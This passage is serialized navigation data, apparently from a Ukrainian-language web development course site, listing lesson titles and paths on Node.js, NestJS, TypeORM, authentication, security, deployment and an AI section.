— потоки даних у Node.js","\u002Fweb-development\u002Fnodejs-platform\u002Fstreams","18.web-development\u002F05.nodejs-platform\u002F09.streams",{"title":4249,"path":4250,"stem":4251},"Вбудований модуль util (Utilities)","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-util","18.web-development\u002F05.nodejs-platform\u002F10.built-in-modules-util",{"title":3141,"path":4253,"stem":4254},"\u002Fweb-development\u002Fnodejs-platform\u002Fenvironment-variables","18.web-development\u002F05.nodejs-platform\u002F11.environment-variables",{"title":4256,"path":4257,"stem":4258},"Інструменти налагодження та розробки","\u002Fweb-development\u002Fnodejs-platform\u002Fdebugging-tools","18.web-development\u002F05.nodejs-platform\u002F12.debugging-tools",{"title":4260,"path":4261,"stem":4262},"Продуктивність та Best Practices","\u002Fweb-development\u002Fnodejs-platform\u002Fperformance-best-practices","18.web-development\u002F05.nodejs-platform\u002F13.performance-best-practices",{"title":4264,"icon":4265,"path":4266,"stem":4267,"children":4268,"page":59},"Асинхронне програмування у Node.js","i-lucide-clock","\u002Fweb-development\u002Fasync-programming-nodejs","18.web-development\u002F06.async-programming-nodejs",[4269,4273,4277,4281,4285,4289,4293,4297,4301,4305,4309],{"title":4270,"path":4271,"stem":4272},"Синхронний vs асинхронний код","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fsync-vs-async","18.web-development\u002F06.async-programming-nodejs\u002F01.sync-vs-async",{"title":4274,"path":4275,"stem":4276},"Callbacks — перша парадигма асинхронності","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fcallbacks","18.web-development\u002F06.async-programming-nodejs\u002F02.callbacks",{"title":4278,"path":4279,"stem":4280},"Promises — стандарт асинхронності","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fpromises","18.web-development\u002F06.async-programming-nodejs\u002F03.promises",{"title":4282,"path":4283,"stem":4284},"Promise комбінатори","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fpromise-combinators","18.web-development\u002F06.async-programming-nodejs\u002F04.promise-combinators",{"title":4286,"path":4287,"stem":4288},"Async\u002FAwait — синтаксичний цукор над Promises","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fasync-await","18.web-development\u002F06.async-programming-nodejs\u002F05.async-await",{"title":4290,"path":4291,"stem":4292},"Паралельне vs послідовне виконання","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fparallel-vs-sequential","18.web-development\u002F06.async-programming-nodejs\u002F06.parallel-vs-sequential",{"title":4294,"path":4295,"stem":4296},"EventEmitter — подієва модель Node.js","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fevent-emitter","18.web-development\u002F06.async-programming-nodejs\u002F07.event-emitter",{"title":4298,"path":4299,"stem":4300},"Worker Threads — багатопотоковість у Node.js","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fworker-threads","18.web-development\u002F06.async-programming-nodejs\u002F08.worker-threads",{"title":4302,"path":4303,"stem":4304},"Child Processes — запуск зовнішніх процесів","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fchild-processes","18.web-development\u002F06.async-programming-nodejs\u002F09.child-processes",{"title":4306,"path":4307,"stem":4308},"Обробка помилок у асинхронному коді","\u002Fweb-development\u002Fasync-programming-nodejs\u002Ferror-handling","18.web-development\u002F06.async-programming-nodejs\u002F10.error-handling",{"title":4310,"path":4311,"stem":4312},"Порівняння Node.js фреймворків","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fnodejs-frameworks","18.web-development\u002F06.async-programming-nodejs\u002F11.nodejs-frameworks",{"title":4314,"icon":4315,"path":4316,"stem":4317,"children":4318,"page":59},"Тема 7. Фреймворк NestJS. Контролери та маршрутизація","i-lucide-route","\u002Fweb-development\u002Fnestjs-controllers-routing","18.web-development\u002F07.nestjs-controllers-routing",[4319,4323,4327,4331,4335,4339,4343,4347,4351,4355,4359,4363,4367,4371,4375,4379,4383,4387,4391,4395,4399,4403],{"title":4320,"path":4321,"stem":4322},"Філософія та архітектура NestJS","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-philosophy","18.web-development\u002F07.nestjs-controllers-routing\u002F01.nestjs-philosophy",{"title":4324,"path":4325,"stem":4326},"Три стовпи архітектури: модулі, контролери, провайдери","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fthree-pillars","18.web-development\u002F07.nestjs-controllers-routing\u002F02.three-pillars",{"title":4328,"path":4329,"stem":4330},"Інверсія керування (IoC) та ін","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fioc-and-di","18.web-development\u002F07.nestjs-controllers-routing\u002F03.ioc-and-di",{"title":4332,"path":4333,"stem":4334},"Встановлення NestJS CLI та створення проєкту","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-cli-setup","18.web-development\u002F07.nestjs-controllers-routing\u002F04.nestjs-cli-setup",{"title":4336,"path":4337,"stem":4338},"Структура проєкту NestJS та конвенції","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fproject-structure","18.web-development\u002F07.nestjs-controllers-routing\u002F05.project-structure",{"title":4340,"path":4341,"stem":4342},"Контролери: основи маршрутизації","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcontrollers-basics","18.web-development\u002F07.nestjs-controllers-routing\u002F06.controllers-basics",{"title":4344,"path":4345,"stem":4346},"Декоратори маршрутизації HTTP-методів","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Froute-decorators","18.web-development\u002F07.nestjs-controllers-routing\u002F07.route-decorators",{"title":4348,"path":4349,"stem":4350},"Параметри маршруту та декоратор @Param","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Froute-parameters","18.web-development\u002F07.nestjs-controllers-routing\u002F08.route-parameters",{"title":4352,"path":4353,"stem":4354},"Query-параметри та декоратор @Query","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fquery-parameters","18.web-development\u002F07.nestjs-controllers-routing\u002F09.query-parameters",{"title":4356,"path":4357,"stem":4358},"Тіло запиту та декоратор @Body","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Frequest-body","18.web-development\u002F07.nestjs-controllers-routing\u002F10.request-body",{"title":4360,"path":4361,"stem":4362},"Робота з заголовками запиту та відповіді","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fheaders-decorators","18.web-development\u002F07.nestjs-controllers-routing\u002F11.headers-decorators",{"title":4364,"path":4365,"stem":4366},"Data Transfer Objects (DTO): визначення та призначення","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fdto-introduction","18.web-development\u002F07.nestjs-controllers-routing\u002F12.dto-introduction",{"title":4368,"path":4369,"stem":4370},"Об'єкти Request та Response","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Frequest-response-objects","18.web-development\u002F07.nestjs-controllers-routing\u002F13.request-response-objects",{"title":4372,"path":4373,"stem":4374},"HTTP-статус коди та декоратор @HttpCode","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fhttp-status-codes","18.web-development\u002F07.nestjs-controllers-routing\u002F14.http-status-codes",{"title":4376,"path":4377,"stem":4378},"Перенаправлення (Redirects) та декоратор @Redirect","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fredirects","18.web-development\u002F07.nestjs-controllers-routing\u002F15.redirects",{"title":4380,"path":4381,"stem":4382},"Асинхронні обробники та Observables","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fasync-handlers","18.web-development\u002F07.nestjs-controllers-routing\u002F16.async-handlers",{"title":4384,"path":4385,"stem":4386},"Маршрутизація за піддоменами та версіонування API","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fsub-domain-routing","18.web-development\u002F07.nestjs-controllers-routing\u002F17.sub-domain-routing",{"title":4388,"path":4389,"stem":4390},"Області видимості контролерів (Scopes)","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcontroller-scopes","18.web-development\u002F07.nestjs-controllers-routing\u002F18.controller-scopes",{"title":4392,"path":4393,"stem":4394},"Основні команди NestJS CLI","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-cli-commands","18.web-development\u002F07.nestjs-controllers-routing\u002F19.nestjs-cli-commands",{"title":4396,"path":4397,"stem":4398},"Практичний приклад: створення CRUD-контролера","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcrud-example","18.web-development\u002F07.nestjs-controllers-routing\u002F20.crud-example",{"title":4400,"path":4401,"stem":4402},"Тестування контролерів","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Ftesting-controllers","18.web-development\u002F07.nestjs-controllers-routing\u002F21.testing-controllers",{"title":4404,"path":4405,"stem":4406},"Best Practices для контролерів та маршрутизації","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fbest-practices","18.web-development\u002F07.nestjs-controllers-routing\u002F22.best-practices",{"title":4408,"icon":4409,"path":4410,"stem":4411,"children":4412,"page":59},"Тема 8. Провайдери, сервіси та модульна система NestJS","i-lucide-package","\u002Fweb-development\u002Fnestjs-providers-modules","18.web-development\u002F08.nestjs-providers-modules",[4413,4417,4421,4425,4429,4433,4437,4441,4445,4449,4453,4457,4461,4465,4469],{"title":4414,"path":4415,"stem":4416},"Концепція провайдерів у NestJS","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fproviders-concept","18.web-development\u002F08.nestjs-providers-modules\u002F01.providers-concept",{"title":4418,"path":4419,"stem":4420},"Сервіси: інкапсуляція бізнес-логіки","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fservices-business-logic","18.web-development\u002F08.nestjs-providers-modules\u002F02.services-business-logic",{"title":4422,"path":4423,"stem":4424},"Практика ін","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fdependency-injection-practice","18.web-development\u002F08.nestjs-providers-modules\u002F03.dependency-injection-practice",{"title":4426,"path":4427,"stem":4428},"Custom Providers: useValue, useClass, useFactory, useExisting","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fcustom-providers","18.web-development\u002F08.nestjs-providers-modules\u002F04.custom-providers",{"title":4430,"path":4431,"stem":4432},"Injection Tokens: рядкові та символьні токени","\u002Fweb-development\u002Fnestjs-providers-modules\u002Finjection-tokens","18.web-development\u002F08.nestjs-providers-modules\u002F05.injection-tokens",{"title":4434,"path":4435,"stem":4436},"Опціональні провайдери та декоратор @Optional","\u002Fweb-development\u002Fnestjs-providers-modules\u002Foptional-providers","18.web-development\u002F08.nestjs-providers-modules\u002F07.optional-providers",{"title":4438,"path":4439,"stem":4440},"Структура модулів: imports, controllers, providers, exports","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fmodules-structure","18.web-development\u002F08.nestjs-providers-modules\u002F08.modules-structure",{"title":4442,"path":4443,"stem":4444},"Feature Modules: ізоляція функціональності","\u002Fweb-development\u002Fnestjs-providers-modules\u002Ffeature-modules","18.web-development\u002F08.nestjs-providers-modules\u002F09.feature-modules",{"title":4446,"path":4447,"stem":4448},"Shared Modules: перевикористання провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fshared-modules","18.web-development\u002F08.nestjs-providers-modules\u002F10.shared-modules",{"title":4450,"path":4451,"stem":4452},"Global Modules та декоратор @Global","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fglobal-modules","18.web-development\u002F08.nestjs-providers-modules\u002F11.global-modules",{"title":4454,"path":4455,"stem":4456},"Dynamic Modules: конфігурація під час виконання","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fdynamic-modules","18.web-development\u002F08.nestjs-providers-modules\u002F12.dynamic-modules",{"title":4458,"path":4459,"stem":4460},"Циклічні залежності та forwardRef","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fcircular-dependencies","18.web-development\u002F08.nestjs-providers-modules\u002F13.circular-dependencies",{"title":4462,"path":4463,"stem":4464},"Lifecycle Hooks: хуки життєвого циклу","\u002Fweb-development\u002Fnestjs-providers-modules\u002Flifecycle-hooks","18.web-development\u002F08.nestjs-providers-modules\u002F14.lifecycle-hooks",{"title":4466,"path":4467,"stem":4468},"ModuleRef: динамічний доступ до провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fmodule-reference","18.web-development\u002F08.nestjs-providers-modules\u002F15.module-reference",{"title":4470,"path":4471,"stem":4472},"Тестування сервісів та провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Ftesting-services","18.web-development\u002F08.nestjs-providers-modules\u002F16.testing-services",{"title":4474,"icon":4475,"path":4476,"stem":4477,"children":4478,"page":59},"Тема 9. Валідація даних та конвеєр обробки запитів у NestJS","i-lucide-filter","\u002Fweb-development\u002Fnestjs-validation-pipeline","18.web-development\u002F09.nestjs-validation-pipeline",[4479,4483,4487,4491,4495,4499,4503,4507,4511,4515,4519,4523,4527,4531,4535,4539,4543,4547,4551],{"title":4480,"path":4481,"stem":4482},"Request Pipeline: конвеєр обробки запитів","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Frequest-pipeline","18.web-development\u002F09.nestjs-validation-pipeline\u002F01.request-pipeline",{"title":4484,"path":4485,"stem":4486},"Pipes: концепція трансформації та валідації","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fpipes-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F02.pipes-concept",{"title":4488,"path":4489,"stem":4490},"Вбудовані pipes: ParseIntPipe, ParseBoolPipe, ParseUUIDPipe","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fbuilt-in-pipes","18.web-development\u002F09.nestjs-validation-pipeline\u002F03.built-in-pipes",{"title":4492,"path":4493,"stem":4494},"ValidationPipe: автоматична валідація DTO","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fvalidation-pipe","18.web-development\u002F09.nestjs-validation-pipeline\u002F04.validation-pipe",{"title":4496,"path":4497,"stem":4498},"Декоратори class-validator для DTO","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fclass-validator-decorators","18.web-development\u002F09.nestjs-validation-pipeline\u002F05.class-validator-decorators",{"title":4500,"path":4501,"stem":4502},"Створення кастомних валідаторів","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-validators","18.web-development\u002F09.nestjs-validation-pipeline\u002F06.custom-validators",{"title":4504,"path":4505,"stem":4506},"Створення власних Pipes","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-pipes","18.web-development\u002F09.nestjs-validation-pipeline\u002F07.custom-pipes",{"title":4508,"path":4509,"stem":4510},"Основи Middleware","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fmiddleware-basics","18.web-development\u002F09.nestjs-validation-pipeline\u002F08.middleware-basics",{"title":4512,"path":4513,"stem":4514},"Практичні приклади Middleware","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fmiddleware-examples","18.web-development\u002F09.nestjs-validation-pipeline\u002F09.middleware-examples",{"title":4516,"path":4517,"stem":4518},"Guards: захисні перехоплювачі доступу","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fguards-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F10.guards-concept",{"title":4520,"path":4521,"stem":4522},"Створення кастомних Guards","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-guards","18.web-development\u002F09.nestjs-validation-pipeline\u002F11.custom-guards",{"title":4524,"path":4525,"stem":4526},"Interceptors: перехоплення та трансформація відповідей","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Finterceptors-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F12.interceptors-concept",{"title":4528,"path":4529,"stem":4530},"Практичні приклади Interceptors","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Finterceptor-examples","18.web-development\u002F09.nestjs-validation-pipeline\u002F13.interceptor-examples",{"title":4532,"path":4533,"stem":4534},"Exception Filters: обробка виключень","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fexception-filters","18.web-development\u002F09.nestjs-validation-pipeline\u002F14.exception-filters",{"title":4536,"path":4537,"stem":4538},"Custom Exception Filters: спеціалізовані фільтри","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-exception-filters","18.web-development\u002F09.nestjs-validation-pipeline\u002F15.custom-exception-filters",{"title":4540,"path":4541,"stem":4542},"Execution Context: контекст виконання","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fexecution-context","18.web-development\u002F09.nestjs-validation-pipeline\u002F16.execution-context",{"title":4544,"path":4545,"stem":4546},"Custom Decorators: власні декоратори","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-decorators","18.web-development\u002F09.nestjs-validation-pipeline\u002F17.custom-decorators",{"title":4548,"path":4549,"stem":4550},"Global Components: глобальні компоненти","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fglobal-components","18.web-development\u002F09.nestjs-validation-pipeline\u002F18.global-components",{"title":4552,"path":4553,"stem":4554},"Pipeline Best Practices: найкращі практики","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fpipeline-best-practices","18.web-development\u002F09.nestjs-validation-pipeline\u002F19.pipeline-best-practices",{"title":4556,"icon":2865,"path":4557,"stem":4558,"children":4559,"page":59},"Інтеграція реляційних баз даних засобами TypeORM","\u002Fweb-development\u002Ftypeorm-integration","18.web-development\u002F10.typeorm-integration",[4560,4564,4568,4572,4576,4580,4584],{"title":4561,"path":4562,"stem":4563},"Робота з базами даних у Node.js через нативні драйвери","\u002Fweb-development\u002Ftypeorm-integration\u002F01-nodejs-database-drivers","18.web-development\u002F10.typeorm-integration\u002F01-nodejs-database-drivers",{"title":4565,"path":4566,"stem":4567},"ORM та знайомство з TypeORM","\u002Fweb-development\u002Ftypeorm-integration\u002F02-orm-and-typeorm-intro","18.web-development\u002F10.typeorm-integration\u002F02-orm-and-typeorm-intro",{"title":4569,"path":4570,"stem":4571},"Налаштування TypeORM у NestJS проєкті","\u002Fweb-development\u002Ftypeorm-integration\u002F03-typeorm-setup-nestjs","18.web-development\u002F10.typeorm-integration\u002F03-typeorm-setup-nestjs",{"title":4573,"path":4574,"stem":4575},"Entity класи та декоратори TypeORM","\u002Fweb-development\u002Ftypeorm-integration\u002F04-entities-and-decorators","18.web-development\u002F10.typeorm-integration\u002F04-entities-and-decorators",{"title":4577,"path":4578,"stem":4579},"Repository Pattern та CRUD операції","\u002Fweb-development\u002Ftypeorm-integration\u002F05-repository-pattern-crud","18.web-development\u002F10.typeorm-integration\u002F05-repository-pattern-crud",{"title":4581,"path":4582,"stem":4583},"Пагінація та фільтрація даних","\u002Fweb-development\u002Ftypeorm-integration\u002F06-pagination-filtering","18.web-development\u002F10.typeorm-integration\u002F06-pagination-filtering",{"title":4585,"path":4586,"stem":4587},"QueryBuilder для складних запитів","\u002Fweb-development\u002Ftypeorm-integration\u002F07-query-builder","18.web-development\u002F10.typeorm-integration\u002F07-query-builder",{"title":4589,"icon":4590,"path":4591,"stem":4592,"children":4593,"page":59},"Зв'язки між сутностями, міграції та оптимізація запитів","i-lucide-git-branch","\u002Fweb-development\u002Fentity-relations-migrations","18.web-development\u002F11.entity-relations-migrations",[4594,4598,4602,4606,4610],{"title":4595,"path":4596,"stem":4597},"Зв'язки One-to-Many та Many-to-One","\u002Fweb-development\u002Fentity-relations-migrations\u002F01-one-to-many-many-to-one","18.web-development\u002F11.entity-relations-migrations\u002F01-one-to-many-many-to-one",{"title":4599,"path":4600,"stem":4601},"Зв'язки One-to-One та Many-to-Many","\u002Fweb-development\u002Fentity-relations-migrations\u002F02-one-to-one-many-to-many","18.web-development\u002F11.entity-relations-migrations\u002F02-one-to-one-many-to-many",{"title":4603,"path":4604,"stem":4605},"Керування міграціями бази даних","\u002Fweb-development\u002Fentity-relations-migrations\u002F03-migrations-management","18.web-development\u002F11.entity-relations-migrations\u002F03-migrations-management",{"title":4607,"path":4608,"stem":4609},"Транзакції у TypeORM","\u002Fweb-development\u002Fentity-relations-migrations\u002F04-transactions","18.web-development\u002F11.entity-relations-migrations\u002F04-transactions",{"title":4611,"path":4612,"stem":4613,"children":4614},"Індекси та оптимізація запитів","\u002Fweb-development\u002Fentity-relations-migrations\u002F05-indexes-optimization","18.web-development\u002F11.entity-relations-migrations\u002F05-indexes-optimization",[4615],{"title":4611,"path":4612,"stem":4613},{"title":4617,"icon":4618,"path":4619,"stem":4620,"children":4621,"page":59},"Механізми автентифікації у вебзастосунках","i-lucide-key","\u002Fweb-development\u002Fauthentication","18.web-development\u002F12.authentication",[4622,4626,4630,4634,4638,4642,4646,4650,4654],{"title":4623,"path":4624,"stem":4625},"Автентифікація vs Авторизація","\u002Fweb-development\u002Fauthentication\u002F01-authentication-vs-authorization","18.web-development\u002F12.authentication\u002F01-authentication-vs-authorization",{"title":4627,"path":4628,"stem":4629},"Стратегії автентифікації","\u002Fweb-development\u002Fauthentication\u002F02-authentication-strategies","18.web-development\u002F12.authentication\u002F02-authentication-strategies",{"title":4631,"path":4632,"stem":4633},"Автентифікація на основі сесій","\u002Fweb-development\u002Fauthentication\u002F03-session-based-authentication","18.web-development\u002F12.authentication\u002F03-session-based-authentication",{"title":4635,"path":4636,"stem":4637},"Структура JSON Web Token (JWT)","\u002Fweb-development\u002Fauthentication\u002F04-jwt-structure","18.web-development\u002F12.authentication\u002F04-jwt-structure",{"title":4639,"path":4640,"stem":4641},"Інтеграція JWT у NestJS","\u002Fweb-development\u002Fauthentication\u002F05-nestjs-jwt-integration","18.web-development\u002F12.authentication\u002F05-nestjs-jwt-integration",{"title":4643,"path":4644,"stem":4645},"Passport.js стратегії у NestJS","\u002Fweb-development\u002Fauthentication\u002F06-passport-strategies","18.web-development\u002F12.authentication\u002F06-passport-strategies",{"title":4647,"path":4648,"stem":4649},"Безпечне зберігання паролів: хешування та криптографічний захист","\u002Fweb-development\u002Fauthentication\u002F07-password-hashing","18.web-development\u002F12.authentication\u002F07-password-hashing",{"title":4651,"path":4652,"stem":4653},"Refresh Token та безпечне оновлення доступу","\u002Fweb-development\u002Fauthentication\u002F08-refresh-tokens","18.web-development\u002F12.authentication\u002F08-refresh-tokens",{"title":4655,"path":4656,"stem":4657},"OAuth 2.0 та OpenID Connect: делегована автентифікація","\u002Fweb-development\u002Fauthentication\u002F09-oauth2-openid","18.web-development\u002F12.authentication\u002F09-oauth2-openid",{"title":4659,"icon":4660,"path":4661,"stem":4662,"children":4663,"page":59},"Авторизація та безпека серверних застосунків","i-lucide-shield","\u002Fweb-development\u002Fauthorization-security","18.web-development\u002F13.authorization-security",[4664,4668,4672,4676,4680,4684,4688,4692,4696,4700],{"title":4665,"path":4666,"stem":4667},"Моделі авторизації","\u002Fweb-development\u002Fauthorization-security\u002F01-authorization-models","18.web-development\u002F13.authorization-security\u002F01-authorization-models",{"title":4669,"path":4670,"stem":4671},"Реалізація RBAC у NestJS","\u002Fweb-development\u002Fauthorization-security\u002F02-rbac-implementation","18.web-development\u002F13.authorization-security\u002F02-rbac-implementation",{"title":4673,"path":4674,"stem":4675},"Permission-Based Access Control","\u002Fweb-development\u002Fauthorization-security\u002F03-permission-based-access","18.web-development\u002F13.authorization-security\u002F03-permission-based-access",{"title":4677,"path":4678,"stem":4679},"ABAC та бібліотека CASL","\u002Fweb-development\u002Fauthorization-security\u002F04-abac-casl","18.web-development\u002F13.authorization-security\u002F04-abac-casl",{"title":4681,"path":4682,"stem":4683},"Кастомні декоратори та метадані","\u002Fweb-development\u002Fauthorization-security\u002F05-custom-decorators-metadata","18.web-development\u002F13.authorization-security\u002F05-custom-decorators-metadata",{"title":4685,"path":4686,"stem":4687},"Конфігурація CORS","\u002Fweb-development\u002Fauthorization-security\u002F06-cors-configuration","18.web-development\u002F13.authorization-security\u002F06-cors-configuration",{"title":4689,"path":4690,"stem":4691},"Захист через HTTP Security Headers (Helmet)","\u002Fweb-development\u002Fauthorization-security\u002F07-helmet-security-headers","18.web-development\u002F13.authorization-security\u002F07-helmet-security-headers",{"title":4693,"path":4694,"stem":4695},"Rate Limiting та Throttling","\u002Fweb-development\u002Fauthorization-security\u002F08-rate-limiting-throttling","18.web-development\u002F13.authorization-security\u002F08-rate-limiting-throttling",{"title":4697,"path":4698,"stem":4699},"Захист від поширених атак","\u002Fweb-development\u002Fauthorization-security\u002F09-common-attacks-protection","18.web-development\u002F13.authorization-security\u002F09-common-attacks-protection",{"title":4701,"path":4702,"stem":4703},"HTTPS у продакшені","\u002Fweb-development\u002Fauthorization-security\u002F10-https-production","18.web-development\u002F13.authorization-security\u002F10-https-production",{"title":4705,"icon":871,"path":4706,"stem":4707,"children":4708,"page":59},"Комунікація у реальному часі, нотифікації та фонові задачі","\u002Fweb-development\u002Frealtime-notifications-jobs","18.web-development\u002F14.realtime-notifications-jobs",[4709,4713,4717,4721,4725,4729,4732,4735,4739,4743],{"title":4710,"path":4711,"stem":4712},"Методи комунікації у реальному часі","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F01-realtime-communication-methods","18.web-development\u002F14.realtime-notifications-jobs\u002F01-realtime-communication-methods",{"title":4714,"path":4715,"stem":4716},"WebSocket Gateway у NestJS","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F02-websocket-gateway","18.web-development\u002F14.realtime-notifications-jobs\u002F02-websocket-gateway",{"title":4718,"path":4719,"stem":4720},"Lifecycle та Rooms у WebSocket","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F03-websocket-lifecycle-rooms","18.web-development\u002F14.realtime-notifications-jobs\u002F03-websocket-lifecycle-rooms",{"title":4722,"path":4723,"stem":4724},"Server-Sent Events (SSE)","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F04-server-sent-events","18.web-development\u002F14.realtime-notifications-jobs\u002F04-server-sent-events",{"title":4726,"path":4727,"stem":4728},"Архітектура системи нотифікацій","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F05-notification-system","18.web-development\u002F14.realtime-notifications-jobs\u002F05-notification-system",{"title":904,"path":4730,"stem":4731},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F06-email-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F06-email-notifications",{"title":900,"path":4733,"stem":4734},"\u002Fweb-development\u002Frealtime-notifications-jobs\u002F07-web-push-notifications","18.web-development\u002F14.realtime-notifications-jobs\u002F07-web-push-notifications",{"title":4736,"path":4737,"stem":4738},"Фонові задачі та черги","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F08-background-jobs-queues","18.web-development\u002F14.realtime-notifications-jobs\u002F08-background-jobs-queues",{"title":4740,"path":4741,"stem":4742},"Планувальники та Cron jobs","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F09-schedulers-cron","18.web-development\u002F14.realtime-notifications-jobs\u002F09-schedulers-cron",{"title":4744,"path":4745,"stem":4746},"Практичні сценарії застосування","\u002Fweb-development\u002Frealtime-notifications-jobs\u002F10-practical-scenarios","18.web-development\u002F14.realtime-notifications-jobs\u002F10-practical-scenarios",{"title":4748,"icon":4749,"path":4750,"stem":4751,"children":4752,"page":59},"Тестування, документування та розгортання застосунків","i-lucide-rocket","\u002Fweb-development\u002Ftesting-documentation-deployment","18.web-development\u002F15.testing-documentation-deployment",[4753,4757,4761,4765,4769,4773,4777,4781,4785,4789],{"title":4754,"path":4755,"stem":4756},"Піраміда тестування та стратегія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F01-testing-pyramid-strategy","18.web-development\u002F15.testing-documentation-deployment\u002F01-testing-pyramid-strategy",{"title":4758,"path":4759,"stem":4760},"Основи Jest у NestJS","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F02-jest-nestjs-basics","18.web-development\u002F15.testing-documentation-deployment\u002F02-jest-nestjs-basics",{"title":4762,"path":4763,"stem":4764},"Unit-тестування сервісів","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F03-unit-testing-services","18.web-development\u002F15.testing-documentation-deployment\u002F03-unit-testing-services",{"title":4766,"path":4767,"stem":4768},"E2E тестування та покриття коду","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F04-e2e-testing-coverage","18.web-development\u002F15.testing-documentation-deployment\u002F04-e2e-testing-coverage",{"title":4770,"path":4771,"stem":4772},"Swagger, OpenAPI, Scalar та Arazzo","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F05-swagger-openapi","18.web-development\u002F15.testing-documentation-deployment\u002F05-swagger-openapi",{"title":4774,"path":4775,"stem":4776},"Керування конфігурацією","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F06-configuration-management","18.web-development\u002F15.testing-documentation-deployment\u002F06-configuration-management",{"title":4778,"path":4779,"stem":4780},"Docker та контейнеризація","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F07-docker-containerization","18.web-development\u002F15.testing-documentation-deployment\u002F07-docker-containerization",{"title":4782,"path":4783,"stem":4784},"CI\u002FCD Pipelines","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F08-cicd-pipelines","18.web-development\u002F15.testing-documentation-deployment\u002F08-cicd-pipelines",{"title":4786,"path":4787,"stem":4788},"Логування та моніторинг","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F09-logging-monitoring","18.web-development\u002F15.testing-documentation-deployment\u002F09-logging-monitoring",{"title":4790,"path":4791,"stem":4792},"Серіалізація та компресія","\u002Fweb-development\u002Ftesting-documentation-deployment\u002F10-serialization-compression","18.web-development\u002F15.testing-documentation-deployment\u002F10-serialization-compression",{"title":4794,"icon":4795,"path":4796,"stem":4797,"children":4798,"page":59},"AI Core: мислення AI","i-lucide-brain","\u002Fai-core","19.ai-core",[4799,4840,4889,4927],{"title":4800,"icon":4749,"path":4801,"stem":4802,"children":4803,"page":59},"Вхід у професію AI Native Developer","\u002Fai-core\u002Fai-native-developer","19.ai-core\u002F01.ai-native-developer",[4804,4808,4812,4816,4820,4824,4828,4832,4836],{"title":4805,"path":4806,"stem":4807},"Вступ до професії розробника цифрових 